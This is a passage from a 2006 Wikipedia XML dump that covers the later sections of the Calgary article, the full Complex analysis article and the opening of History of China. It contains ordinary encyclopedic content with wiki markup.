&lt;!-- Table Header --&gt;
 &lt;tr bgcolor=&quot;#ADADAD&quot;&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;'''''Logo'''''&lt;/td&gt;
  &lt;td width=&quot;150px&quot;&gt;'''''Club'''''&lt;/td&gt;
  &lt;td width=&quot;200px&quot; align=&quot;left&quot;&gt;'''''League'''''&lt;/td&gt;
  &lt;td width=&quot;200px&quot; align=&quot;left&quot;&gt;'''''Venue'''''&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;center&quot;&gt;'''''Established'''''&lt;/td&gt;
  &lt;td width=&quot;20px&quot; align=&quot;center&quot;&gt;'''''Championships'''''&lt;/td&gt;
 &lt;/tr&gt;

&lt;!-- Rows --&gt;

&lt;tr bgcolor=&quot;#ffffff&quot;&gt;
  &lt;td align=&quot;left&quot;&gt;[[Image:Calgary Flames.gif|50px|Calgary Falmes logo]]&lt;/td&gt;
  &lt;td&gt;[[Calgary Flames]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[National Hockey League]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[Pengrowth Saddledome]] &lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1972*&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;

 &lt;tr bgcolor=&quot;#ffffff'&gt;
&lt;td align=&quot;left&quot;&gt;[[Image:CALGARY STAMPEDERS.jpg|50px|Calgary Stampeders logo]]&lt;/td&gt;  
&lt;td&gt;[[Calgary Stampeders]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[Canadian Football League]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[McMahon Stadium]]&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1935&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff&quot;&gt;
  &lt;td align=&quot;left&quot;&gt;[[Image:cgyrough.gif|55px|Calgary Roughnecks Logo]]&lt;/td&gt;
  &lt;td&gt;[[Calgary Roughnecks]]&lt;/td&gt;
   &lt;td align=&quot;left&quot;&gt;[[National Lacrosse League]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[Pengrowth Saddledome]]&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;2001&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff&quot;&gt;
  &lt;td align=&quot;left&quot;&gt;[[Image:Nlvipers.gif|50px|Calgary Vipers Logo]]&lt;/td&gt;
  &lt;td&gt;[[Calgary Vipers]]&lt;/td&gt;
   &lt;td align=&quot;left&quot;&gt;[[Northern League (baseball)|Northern League]] ([[Baseball]])&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[Foothills Stadium]]&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;2005&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;

  &lt;/tr&gt;
 &lt;/table&gt;
&lt;small&gt;''(*) Established as the [[Atlanta Flames]]. Became the [[Calgary Flames]] in 1980.''&lt;/small&gt;

===Semi-professional teams===
&lt;!-- Table Header --&gt;
 &lt;tr bgcolor=&quot;#ADADAD&quot;&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;'''''Logo'''''&lt;/td&gt;
  &lt;td width=&quot;150px&quot;&gt;'''''Club'''''&lt;/td&gt;
  &lt;td width=&quot;200px&quot; align=&quot;left&quot;&gt;'''''League'''''&lt;/td&gt;
  &lt;td width=&quot;200px&quot; align=&quot;left&quot;&gt;'''''Venue'''''&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;center&quot;&gt;'''''Established'''''&lt;/td&gt;
  &lt;td width=&quot;20px&quot; align=&quot;center&quot;&gt;'''''Championships'''''&lt;/td&gt;
 &lt;/tr&gt;

&lt;!-- Rows --&gt;

&lt;tr bgcolor=&quot;#ffffff&quot;&gt;
  &lt;td align=&quot;left&quot;&gt;[[Image:Calgaryhitmen.gif|55px|Calgary Hitmen Logo]]&lt;/td&gt;
  &lt;td&gt;[[Calgary Hitmen]]&lt;/td&gt;
   &lt;td align=&quot;left&quot;&gt;[[Western Hockey League]]&lt;/td&gt;
  &lt;td align=&quot;left&quot;&gt;[[Pengrowth Saddledome]]&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1995&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;

  &lt;/tr&gt;
 &lt;/table&gt;

===Amateur teams===
*[[Calgary Dawgs]] (Baseball/[[Western Major Baseball League]]) - *Operations suspended for the 2006 season
*[[Calgary Canucks]] (Hockey/[[Alberta Junior Hockey League]])
*[[Calgary Royals]] (Hockey/[[Alberta Junior Hockey League]])
*[[Calgary Oval X-treme]] (Hockey/[[Western Women's Hockey League]])
*[[Calgary Drillers]] (Basketball/[[American Basketball Association]]) - *Operations suspended in February 2005

===Outdoor recreation===
Calgary is next to some of the most pristine natural scenery in the world. [[Banff National Park]] is about 125 km northwest of Calgary on the [[Trans-Canada Highway]]. 30 km west of the city is the town of [[Bragg Creek, Alberta|Bragg Creek]]. Another 45 km west of Bragg Creek is the [[Kananaskis, Alberta|Kananaskis Country]] improvement district featuring hiking, horseback riding and mountain-biking trails, camping sites, rock and ice climbing, and cross country skiing.  A Provincial shooting range for firearms is located on the highway to Kananaskis.

Many Calgarians and millions of tourists enjoy activities such as biking, hiking, skiing, snowboarding, [[mountainboarding|mountainboarding]], camping, and fishing in these great parks every year.  The town of [[Banff, Alberta|Banff]] hosts nearly five million visitors annually.

Within Calgary itself, people make extensive use of the city's network of bike paths and large urban parks. For more extreme adventure, [[Canada Olympic Park]] offers [http://www.telusplanet.net/public/oaneale/ bobsledding], luge, cross-country skiing, ski jumping, downhill skiing, and snowboarding in the winter. The [[Bow River]] is very popular among fly-fishermen. [[Golf|Golfing]] is also an extremely popular activity for Calgarians and the region has a very large number of courses.

===Major parks in Calgary and vicinity===
*[[Fish Creek Provincial Park]], Canada's only provincial park located within a major city
*[[Nose Hill Park]]
*Inglewood Bird Sanctuary
*Stanley Park
*Prince's Island Park
*Prairie Winds Park
*[[Bowness, Alberta|Bowness Park]]
*Prince's Island Park
*[[Edworthy Park]]
*Confederation Park
*[[Kananaskis, Alberta|Kananaskis Country]] Provincial Improvement District, approximately 60 km to the west and southwest
*[[Banff National Park]], approximately 130 km to the west, [[UNESCO World Heritage Site]]
*[[Jasper National Park]], [[UNESCO World Heritage Site]]
*[[Yoho National Park]], [[UNESCO World Heritage Site]]
*[[Kootenay National Park]], [[UNESCO World Heritage Site]]
*[[Dinosaur Provincial Park]], [[UNESCO World Heritage Site]]
*[[Waterton-Glacier International Peace Park]]

==Transportation==
Calgary is a major Canadian transportation centre and a central cargo hub for freight into and out of north-western North America[http://www.calgaryairport.com/document.cfm?did=700]. The city also sits at the junction between the &quot;[[CANAMEX|Canamex]]&quot; highway system and the [[Trans-Canada Highway]] ([[Alberta Highway 1|Highway 1]] in Alberta). The [[Calgary International Airport]] serves the city as well as the international traffic for Alberta and Saskatchewan. The airport saw 9.1 million passenger movements in 2004. In December of that same year, it was the third busiest airport in Canada after [[Toronto Pearson International Airport]] and the [[Vancouver International Airport]], marginally busier than Montreal's [[Montréal-Pierre Elliott Trudeau International Airport|Pierre Elliott Trudeau International Airport]]. It is one of Canada's busiest cargo airports as well. 

Calgary is also the largest Canadian city without any intercity passenger rail service, as all [[VIA Rail]] service to the city was terminated in the late 1980s and early 1990s by the [[Progressive Conservative Party of Canada|Conservative government]]. Calgary's second airport, [[Calgary/Springbank Airport]], is located in the western suburb of Springbank, handles the majority of private-plane flights, and acts as a reliever for the main airport.
[[Image:CT_SD160_2.jpg|left|250px|thumb|Calgary's [[C-Train]] system.]]
Calgary's mass transit system is operated by [[Calgary Transit]]. The light rail transit (LRT) system, known as the [[C-Train]], consists of 42.1 km of track connecting 36 stations and was one of the first such systems in North America. Until very recently, Calgary and [[Edmonton, Alberta|Edmonton]] were the only two North American cities with populations under 1 million to operate rapid mass transit systems. The Whitehorn-City Centre line serves downtown and the Northeast, while the Dalhousie-Somerset line runs between the Northwest and South Calgary via Downtown. Travel between stations along 7th Avenue in downtown is free-of-charge. Unique to the [[C-Train]] system, its power is completely wind generated and completely free of emissions. Calgary Transit also has an effective system of buses, with routes stretching over the whole city. It has won several prestigious awards for its efficiency and its environmental responsibility. It consists of over 160 bus routes and three [[C-Train]] lines (two routes), stretching over 4,500 km.

The City of Calgary maintains an impressive network of paved bicycle paths. The dedicated path network in Calgary is among the most expansive in North America and spans 583 km. There are also about 200 km of bike lanes ([http://www.calgary.ca/docgallery/BU/engineering_services/emaps/bicycle_pathways_map_2002.pdf map]). The pathways connect many of the city's parks, the river valley, residential neighbourhoods, and downtown. Even the [[Calgary International Airport|airport]] is on the path network. Thousands of people make year-round use these paths for walking, running, and cycling to various destinations.  Unfortunately, in June 2005, massive flooding destroyed much of the pathway system (including many pedestrian bridges) that was near the Elbow and Bow rivers.  An estimate of when repairs will be made is not available yet, but could take years and millions of dollars.

Calgary's system of elevated walkways or [[skyway]]s downtown (known as the [[Plus 15|+15]] system) is the most extensive in the world. These walkways not only serve to connect buildings, but also contain restaurants, shops, and services. The system is 16 kilometres long.

Calgary has an extensive, efficient, and well-maintained street network. Smaller roads are supplemented with a number of major arteries and freeways, the largest of which is the north-south running [[Deerfoot Trail]] ([[Alberta Highway 2|Queen Elizabeth II Highway/Highway 2]]).  Other major expressways include [[Glenmore Trail]], [[Macleod Trail]], named for one of the city founders, Colonel [[James MacLeod]], and [[Crowchild Trail]], named for the 1800s [[Blackfoot]] leader [[Chief Crowchild]]. The majority of main expressways and freeways are named '''Trails''', as well as some of the main arterial roads that do not fit in the numbering grid.

Traditionally Calgary's roads were built on a grid system with numbered '''Streets''' (running north-south) and '''Avenues''' (running east-west). The city is divided into four [[quadrant]]s: Northeast, Northwest, Southeast and Southwest, and all street names and addresses end with suffixes corresponding to the quadrant of the city in which they lie (NW, NE, SE or SW). The central point of the quadrant system is the Centre Street Bridge, with Centre Street and Centre Avenue forming the boundaries (although the points vary; most of the south end has Macleod Trail as a boundary, except near [[Chinook Centre]] where Macleod dives westward slightly; in the west end, the Bow River forms the boundary for the most part).

==Industry and employment==
Despite much diversification in recent years, Calgary's economy is still dominated by the oil and gas industry.  The larger companies include [[EnCana Corporation|EnCana]], [[Petro-Canada]], [[Shell Canada]], [[Imperial Oil]], [[Suncor Energy]], and [[TransCanada Corporation|TransCanada]].

In 1996, [[Canadian Pacific Railway]] moved its head office to Calgary, and is now among the city's top employers. Furthermore, in 2005, [[Imperial Oil]] moved its headquarters from Toronto to Calgary, relocating roughly 400 families in the process.

Other large employers include the [[Forzani Group]], [[ATCO]], [[Fluor Canada]], [[Shaw Cable]], [[Nortel]] and [[Westjet]]

Office space totals about 50 million square feet in the city (32 million are within the [[Downtown Calgary|downtown commercial core]]).

==Military presence==
[[Image:battalionpark.jpg|right|thumb|200px|[[Canadian Expeditionary Force|CEF]] Battalions who trained near Signal Hill left a visible mark on the city at [[Battalion Park]]]]Calgary has had an active military garrison since the early years of the 20th Century.  [[Lord Strathcona's Horse (Royal Canadians)|Strathcona's Horse]] had one squadron quartered in the city for many years.  A local militia regiment was finally raised after several attempts by Lieutenant Colonel William C.G. Armstrong, when the 103rd Regiment (Calgary Rifles) was finally raised.  Units of the artillery, engineers and supporting corps also had units in Calgary from time to time.  In 1914, several battalions of the Canadian Expeditionary Force were raised in Calgary, notably the [[Calgary Highlanders|10th]] and [[King's Own Calgary Regiment|50th]]. Training took place at nearby Sarcee Camp, which grew enormously during the First World War. The camp later became known as Sarcee Training Area. Nearby [[Battalion Park]] overlooks this area.

In 1920-21, the Canadian military was reorganized, and the 103rd Regiment was split into two seperate regiments, and by 1939 these were known as The [[Calgary Highlanders]] and the [[King's Own Calgary Regiment|Calgary Regiment (Tank)]].  Other supporting units remained in the city as well, and in 1939, many Calgary raised units joined the Canadian Active Service Force overseas.  The Highlanders and Calgary Tanks saw active service in the 2nd Division and 1st Armoured Brigade respectively.

By the end of the [[Second World War]], a greatly enlarged Regular Force saw a sizeable military garrison located in Calgary, and regular battalions of the PPCLI and Queen's Own Rifles, as well as Lord Strathcona's Horse (Royal Canadians) were quartered in the city. In 1995, the Regular Force garrison - including the Strathcona's, 1 PPCLI, 1 Service Battalion, 1 MP Platoon, and the headquarters of Land Force Western Area as well as 1st Canadian Brigade Group all moved to Edmonton, leaving a skeleton staff of regular personnel in Calgary to administer the local Militia units.

Permanent military facilities were completed in 1917 with the construction of [[Mewata Armouries]], which then housed reserve units and a squadron of regular cavalry.   Currie Barracks became an important training base during the Second World War, and many British Commonwealth Air Training Plan facilities were located in and around the city, including what is today the [[Southern Alberta Institute of Technology]]. Currie Barracks, and nearby Harvie Barracks, were both developed after the war to form '''Canadian Forces Base Calgary ([[CFB Calgary]])'''. A second armoury was built in a Northeast Calgary industrial park in the 1980s. Harvie Barracks (and the adjacent Sarcee Training Area) were returned to the [[Tsuu T'ina Nation]] after the lease expired, and CFB Calgary was closed. Only the headquarters for a reserve brigade and a small Area Support Unit remain.

Despite the closing of CFB Calgary (including both Currie Barracks and Harvey Barracks), the city is still home to a significant military presence, including [[HMCS Tecumseh]] (Naval Reserve), the [[HMCS Tecumseh Band]], and the 746th Communications Squadron (Communications Reserve). Several units of the Army Reserve are located in Calgary, including:

* Headquarters, 41 Canadian Brigade Group (former CFB Calgary)
* [[The King's Own Calgary Regiment (RCAC)]] (Mewata Armouries)
* Regimental Band of The King's Own Calgary Regiment ([[Royal Canadian Armoured Corps|RCAC]])(Museum of the Regiments)
* 33 Field Engineer Squadron ([[Canadian Military Engineers]]) (NE Armouries)
* [[The Calgary Highlanders]] (Mewata Armouries)
* [http://www.calgaryhighlanderpipeband.ca Regimental Pipes and Drums of The Calgary Highlanders] (Mewata Armouries) 
* 14 (Calgary) Service Battalion (NE Armouries) 
* Calgary Detachment, 15 Field Ambulance ([[Canadian Forces Medical Service]]) (Mewata Armouries)
* Militia Training Detachment Calgary (Mewata Armouries)

Additionally, there are several squadrons of the [[Royal Canadian Sea Cadets]], [[Navy League Cadets]], [[Royal Canadian Army Cadets]], and [[Royal Canadian Air Cadets]] who train at various facilities.

==Local media==
===Newspapers===
* ''[[Calgary Herald]]'' - The largest newspaper in Calgary. Generally conservative, covers more world news than the ''Calgary Sun''. Owned by [[CanWest Global Communications]].
* ''[[Calgary Sun]]'' - A division of SUNMEDIA, a [[Quebecor]] company. [[Tabloid|Compact]] format, focus on local news, sports and entertainment. 
* ''[[FFWD (newspaper)|FFWD]]'' - Weekly alternative arts paper.
* ''[[Dose (magazine)|Dose]]'' - Free daily paper published by CanWest Global Communications.

===Radio stations===
====Shortwave====
* 6.030 Mhz - CFVP - A.M. shortwave service of [[CKMX]]. (CFVP = Voice of the Prairies)

====AM====
* 580 - [[CKUA]] - public broadcasting (province-wide frequency)
* 660 - [[CFFR (AM)|CFFR]] - [[oldies]]
* 770 - [[CHQR (AM)|CHQR]] - [[talk radio]]
* 910 - [[CKDQ (AM)|CKDQ]] - [[country music]], broadcasting from [[Drumheller, Alberta|Drumheller]]
* 960 - [[CFAC (AM)|CFAC]] - &quot;[[The Fan]]&quot; sports
* 1010 - [[CBR (AM)|CBR]] - [[CBC Radio One]]
* 1060 - [[CKMX (AM)|CKMX]] - classic [[country music]]
* 1140 - [[CHRB (AM)|CHRB]] - religious programming, broadcasting from [[High River, Alberta|High River]]

====FM====
* 88.1 - C??? - [[Aboriginal Voices]]
* 88.9 - [[CJSI-FM|CJSI]] - ''Shine FM'' [[Christian music]]
* 89.7 - [[CBCX-FM|CBCX]] - [[Espace Musique]]
* 90.9 - [[CJSW-FM|CJSW]] - [[University of Calgary]]
* 91.1 - [[CKDQ-FM|CKDQ]] - ''Q91'' [[country music|country]], broadcasting from [[Drumheller, Alberta|Drumheller]]
* 92.1 - [[CJAY-FM|CJAY]] - ''CJAY92'' [[rock and roll|rock]], alternative, and [[classic rock]]
* 93.7 - [[CKUA]] - [[public broadcasting]]
* 94.7 - [[CHKF-FM|CHKF]] - [[Asian Canadian]] community
* 95.9 - [[CHFM-FM|CHFM]] - ''Lite 96'' [[adult contemporary]]
* 96.9 - [[CKIS-FM|CKIS]] - ''[[Jack FM]]'' 
* 98.5 - [[CIBK-FM|CIBK]] - ''[[Vibe 98.5]]'' [[contemporary hit radio|CHR]]
* 100.9 - [[CFXL-FM|CFXL]] - ''The Eagle'' [[classic rock]], broadcasting out of [[Okotoks, Alberta|Okotoks]]
* 102.1 - [[CBR-FM|CBR]] - [[CBC Radio Two]]
* 103.1 - [[CIQX-FM|CIQX]] - ''California'' [[easy listening]]/[[jazz]]
* 103.9 - [[CBRF-FM|CBRF]] - [[La Première Chaîne]]
* 105.1 - [[CKRY-FM|CKRY]] - ''Country 105''
* 107.3 - [[CFGQ-FM|CFGQ]] - ''Q-107'' [[classic rock]]

===Television stations===
* 2 (Cable 7) - [[CICT-TV|CICT]], [[Global Television Network|Global]]	
* 4 (Cable 3) - [[CFCN-TV|CFCN]], [[CTV Television Network|CTV]]
* 5 (Cable 8) - [[CKAL-TV|CKAL]], [[Citytv]]
* 9 (Cable 6) - [[CBRT-TV|CBRT]], [[CBC Television|CBC]] 	 
* 13 (Cable 13) - [[CIAN-TV|CIAN]], [[Access Alberta]]
* 16 (Cable 11) - [[CBRFT]], [[Télévision de Radio-Canada|SRC]]

The [[cable television]] provider in Calgary is [[Shaw Cable]]. Network programming from the United States is received on cable via affiliates from [[Spokane, Washington]].

==Other names==
Calgary is also known by other names [http://got.net/~landauer/lists/CityOf.html]:
* Cowtown
* The [[Calgary Stampede|Stampede]] City
* The Heart of The New West (the New Convention and Visitors Bureau slogan) 
* Canada's Oil Capital

==Sister Cities==
*[[Image:Flag of the United States.svg|25px]] [[Phoenix, Arizona]] ([[United States]]) - 1997
*[[Image:Flag of South Korea.svg|25px]] [[Daejeon]] ([[South Korea]]) - 1996
*[[Image:Flag of Mexico.svg|25px]] [[Naucalpan]] ([[Mexico]]) - 1994
*[[Image:Flag of the People's Republic of China.svg|25px]] [[Daqing]] ([[China]]) - 1985
*[[Image:Flag of India.svg|25px]] [[Jaipur]] ([[India]]) - 1973
*[[Image:Flag of Canada.svg|25px]] [[Quebec City]] ([[Canada]]) - 1956

==See also==
* [[Calgary Region]]
* [[Calgary Board of Education]] - Public school board
* [[University of Calgary]]
* [[Calgary Zoo]]
* [[Calgary Transit]]
* [[Calgary Stampede]]
* [[Fish Creek Provincial Park]]
* [[Downtown Calgary]]

* [[List of mayors of Calgary, Alberta]]
* [[List of the 100 largest cities in Canada]]
* [[List of the 100 largest metropolitan areas in Canada]]
* [[1988 Winter Olympics]]
* [[List of neighbourhoods in Calgary]]
* [[List of people born in Calgary, Alberta, Canada]]
* [[List of notable Calgarians]]

{{commons|Calgary}}

==External links==
* [http://www.calgary.ca/ The City of Calgary Official Website]
* [http://www.tourismcalgary.com/ Tourism Calgary]
* [http://www.calgary-city-maps.com/Alberta-Canada-weather.html Calgary Weather] Current observations and forecasts from various providers
* [http://www.downtowncalgary.com/ Downtown Calgary]
* [http://calgary.wikicities.com/wiki/Main_Page Calgary Wiki]
* [http://wikitravel.org/en/Calgary Travel guide to ''Calgary''] from [[Wikitravel]]
* [http://mycalgary.net Travel guide to ''Calgary''] from mycalgary.net
* [http://65.104.36.251/default.asp?display=all&amp;area=Calgary&amp;textOnly=False The City of Calgary Travel Advisories]
* [http://65.104.36.251/default.asp?display=base&amp;area=Calgary&amp;textOnly=False The City of Calgary Traffic Cameras]
* [http://www.calgaryarea.com/ Calgary Community Associations]


===Images===
* [http://www.telusplanet.net/public/mycroft/links_photos_calgary.htm Pictures of Calgary]
* [http://www.terragalleria.com/north-america/canada/calgary Pictures of Calgary - Terra Galleria]

{| width = 75% border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
| width = 35% align=&quot;center&quot; | 
| width = 30% align=&quot;center&quot; | '''North:''' [[Rocky View No. 44, Alberta|Rocky View No. 44]] 
| width = 35% align=&quot;center&quot; | 
|- 
| width = 10% align=&quot;center&quot; | '''West:'''  [[Tsuu T'ina Nation 145, Alberta|Tsuu T'ina Nation 145]] &lt;br&gt;
| style=&quot;width:35%; text-align:center; font-size:120%;&quot; | '''Calgary'''  
| width = 30% align=&quot;center&quot; | '''East:''' [[Rocky View No. 44, Alberta|Rocky View No. 44]]
|- 
| width = 35% align=&quot;center&quot; | 
| width = 30% align=&quot;center&quot; | '''South:''' [[Municipal District of Foothills No. 31, Alberta|Foothills No. 31]]
| width = 35% align=&quot;center&quot; | 
|}&lt;br /&gt;
{| width = 75% border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
| width = 35% align=&quot;center&quot; | 
| width = 30% align=&quot;center&quot; | '''North:''' [[Airdrie, Alberta|Airdrie]] 
| width = 35% align=&quot;center&quot; | 
|- 
| width = 10% align=&quot;center&quot; | '''West:'''  [[Cochrane, Alberta|Cochrane]] &lt;br&gt;
| style=&quot;width:35%; text-align:center; font-size:120%;&quot; | '''Calgary'''  
| width = 30% align=&quot;center&quot; | '''East:''' [[Chestermere, Alberta|Chestermere]]
|- 
| width = 35% align=&quot;center&quot; | 
| width = 30% align=&quot;center&quot; | '''South:''' [[Okotoks, Alberta|Okotoks]]
| width = 35% align=&quot;center&quot; | 
|}

{{Olympic Winter Games Host Cities}}

{{alberta}}

[[Category:Calgary| ]]
[[Category:Calgary Region]]
[[Category:Cities in Alberta]]
[[Category:Host cities of the Winter Olympic Games]]
[[Category:Twin town with Quebec City]]

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[[de:Calgary]]
[[et:Calgary]]
[[eo:Kalgario]]
[[es:Calgary]]
[[fi:Calgary]]
[[fr:Calgary]]
[[id:Calgary, Alberta]]
[[io:Calgary]]
[[it:Calgary]]
[[ja:カルガリー]]
[[ko:캘거리]]
[[nl:Calgary]]
[[nn:Calgary]]
[[no:Calgary]]
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[[pt:Calgary]]
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[[vi:Calgary, Alberta]]
[[zh:卡尔加里]]</text>
    </revision>
  </page>
  <page>
    <title>Complex analysis</title>
    <id>5759</id>
    <revision>
      <id>42157694</id>
      <timestamp>2006-03-04T05:02:30Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>a complex function does not need to be defined on an open set, only a holomorphic function</comment>
      <text xml:space="preserve">'''Complex analysis''' is the branch of [[mathematics]] investigating [[Function (mathematics)|functions]] of [[complex numbers]]. It is of enormous practical use in [[applied mathematics]] and in many other branches of mathematics. Complex analysis is particularly concerned with [[analytic functions]] of complex variables, known as [[holomorphic function]]s.

== Complex functions ==

A complex function is a function in which the independent variable and the dependent variable are both complex numbers. More precisely, a complex function is a function defined on a subset of the complex plane with complex values. 

For any complex function, both the independent variable and the dependent variable may be separated into [[Real number|real]] and [[Imaginary number|imaginary]] parts:

: &lt;math&gt;z = x + iy\,&lt;/math&gt; and
: &lt;math&gt;w = f(z) = u + iv\,&lt;/math&gt;,
: where &lt;math&gt;x,y,u,v \in \mathbb{R}.&lt;/math&gt;

It follows that the components of the function,

: &lt;math&gt;u = u(x,y)\,&lt;/math&gt; and
: &lt;math&gt;v = v(x,y)\,&lt;/math&gt;,

can be interpreted as real valued functions of the two real variables, &lt;math&gt;x\,&lt;/math&gt; and &lt;math&gt;y\,&lt;/math&gt;.

The extension of real functions (exponentials, logarithms, trigonometric functions) to the complex domain is frequently used as an introduction to complex analysis.

== Holomorphic functions ==
{{main|Holomorphic function}}
Holomorphic functions are complex functions defined on an [[open set|open subset]] of the complex plane which are differentiable. Complex differentiability has much stronger consequences than usual (real) differentiability. For instance, holomorphic functions are infinitely differentiable, a fact that is far from true for real differentiable functions. Most elementary functions, including the [[exponential function]], the [[trigonometric function]]s, and all [[polynomial|polynomial functions]], are holomorphic.

''See also'': [[analytic function]], [[holomorphic sheaf]] and [[vector bundle]]s.

== Major results ==
One central tool in complex analysis is the [[path integral]]. The integral around a closed path of a function which is holomorphic everywhere inside the area bounded by the closed path is always zero; this is the [[Cauchy integral theorem]]. The values of a holomorphic function inside a disk can be computed by a certain path integral on the disk's boundary ([[Cauchy's integral formula]]). Path integrals in the complex plane are often used to determine complicated real integrals, and here the theory of [[residue (complex analysis)|residue]]s among others is useful (see [[methods of contour integration]]). If a function has a ''pole'' or ''singularity'' at some point, meaning that its values &quot;explode&quot; and it does not have a finite value there, then one can define the function's residue at that pole, and these residues can be used to compute path integrals involving the function; this is the content of the powerful [[residue theorem]]. The remarkable behavior of holomorphic functions near essential singularities is described by the [[Weierstrass-Casorati theorem]]. Functions which have only poles but no essential singularities are called [[meromorphic]].
[[Laurent series]] are similar to [[Taylor series]] but can be used to study the behavior of functions near singularities.

A bounded function which is holomorphic in the entire complex plane must be constant; this is [[Liouville's theorem (complex analysis)|Liouville's theorem]]. It can be used to provide a natural and short proof for the [[Fundamental Theorem of Algebra|fundamental theorem of algebra]] which states that the [[field (mathematics)|field]] of complex numbers is [[algebraically closed field|algebraically closed]].

An important property of holomorphic functions is that if a function is holomorphic throughout a [[simply connected]] domain then its values are fully determined by its values on any smaller subdomain.  The function on the larger domain is said to be [[analytic continuation|analytically continued]] from its values on the smaller domain.  This allows the extension of the definition of functions such as the [[Riemann zeta function]] which are initially defined in terms of infinite sums that converge only on limited domains to almost the entire complex plane.  Sometimes, as in the case of the [[natural logarithm]], it is impossible to analytically continue a holomorphic function to a non-simply connected domain in the complex plane but it is possible to extend it to a holomorphic function on a closely related surface known as a [[Riemann surface]].

All this refers to complex analysis in one variable. There is also a very rich theory of [[several complex variables|complex analysis in more than one complex dimension]] where the analytic properties such as power series expansion still remain true whereas most of the geometric properties of holomorphic functions in one complex dimension (such as [[conformality]]) are no longer true. The [[Riemann mapping theorem]] about the conformal relationship of certain domains in the complex plane, maybe the most important result in the one-dimensional theory, fails dramatically in higher dimensions.

It is also applied in many subjects throughout engineering, particularly in power engineering.

== History ==
Complex analysis is one of the classical branches in mathematics with its roots in the 19th century and some even before. Important names are [[Euler]], [[Carl Friedrich Gauss|Gauss]], [[Riemann]], [[Cauchy]], [[Weierstrass]], and many more in the 20th century. Traditionally, complex analysis, in particular the theory of [[conformal mapping]]s, has many applications in engineering, but it is also used throughout analytical [[number theory]]. In modern times, it became very popular through a new boost of [[complex dynamics]] and the pictures of [[fractal]]s produced by iterating holomorphic functions, the most popular being the [[Mandelbrot set]].  Another important application of complex analysis today is in [[string theory]] which is a conformally invariant [[quantum field theory]].

== See also ==
* [[Several complex variables]]
* [[Runge's theorem]]
* [[List of complex analysis topics]]

== References ==

*  Needham T., ''Visual Complex Analysis'' (Oxford, 1997).
*  Henrici P., ''Applied and Computational Complex Analysis'' (Wiley).  [Three volumes: 1974, 1977, 1986.]

== External links ==
*[http://www.math.gatech.edu/~cain/winter99/complex.html Complex Analysis -- textbook by George Cain]
*[http://www.ima.umn.edu/~arnold/502.s97/ Complex analysis course web site by Douglas N. Arnold]
*[http://www.exampleproblems.com/wiki/index.php/Complex_Variables Example problems in complex analysis]
*[http://www.usfca.edu/vca/websites.html A collection of links to programs for visualizing complex functions (and related)]

[[Category:Calculus]]
[[Category:Mathematical analysis]]
[[Category:Complex analysis|*]]

[[cy:Dadansoddi Cymhlyg]]
[[de:Funktionentheorie]]
[[es:Análisis complejo]]
[[fr:Analyse complexe]]
[[he:אנליזה מרוכבת]]
[[it:Analisi complessa]]
[[ru:Комплексный анализ]]
[[sv:Komplex analys]]
[[uk:Теорія функції комплексної змінної]]
[[zh:複分析]]</text>
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  </page>
  <page>
    <title>History of China</title>
    <id>5760</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42141429</id>
      <timestamp>2006-03-04T02:22:50Z</timestamp>
      <contributor>
        <username>Nlu</username>
        <id>350890</id>
      </contributor>
      <minor />
      <comment>rv; both versions arguably POV, but later version more so, and in any case, Song/Liao/Jin weren't a &quot;tripartite&quot; anything (Liao/Jin didn't coexist for long)</comment>
      <text xml:space="preserve">{{History_of_China}}
'''The [[history]] of [[China]]''' is detailed by historical records dating back to [[15th century BCE|1500 BC]]. China is one of the world's oldest continuous major [[civilization]]s. [[Turtle]] shells with markings reminiscent of ancient [[Chinese writing]] from the [[Shang Dynasty]] (商朝) have been [[carbon dated]] to around 1500 BC. These records suggest that the origins of Chinese civilization started with city-states in the [[Yellow River]] valley. [[221 BC]] is commonly used as the date when China became unified under a large kingdom or empire. Successive [[dynasties in Chinese history|dynasties]] developed systems of bureaucratic control that would allow the emperor to control the large territory that would become [[China Proper]].

The forced imposition of a common system of writing by the Qin (秦) emperor in the [[2nd century BC]] and the development of a state [[ideology]] based on [[Confucianism]] in the [[1st century BC|100 BC]], marked the foundation of what is now termed the Chinese civilization. Politically, China alternated between periods of political unity and disunity, and was occasionally conquered by external groups of people, some eventually being assimilated into the Chinese population. Cultural and political influences from many parts of [[Asia]], carried by successive waves of immigration, merged to create the image of [[Culture of China|Chinese Culture]] today.

[[Image:Map-Chinese World.png|250px|left|thumb|China, Taiwan, Hong Kong and countries linked to Chinese political and cultural history.]]


== Neolithic Era ==
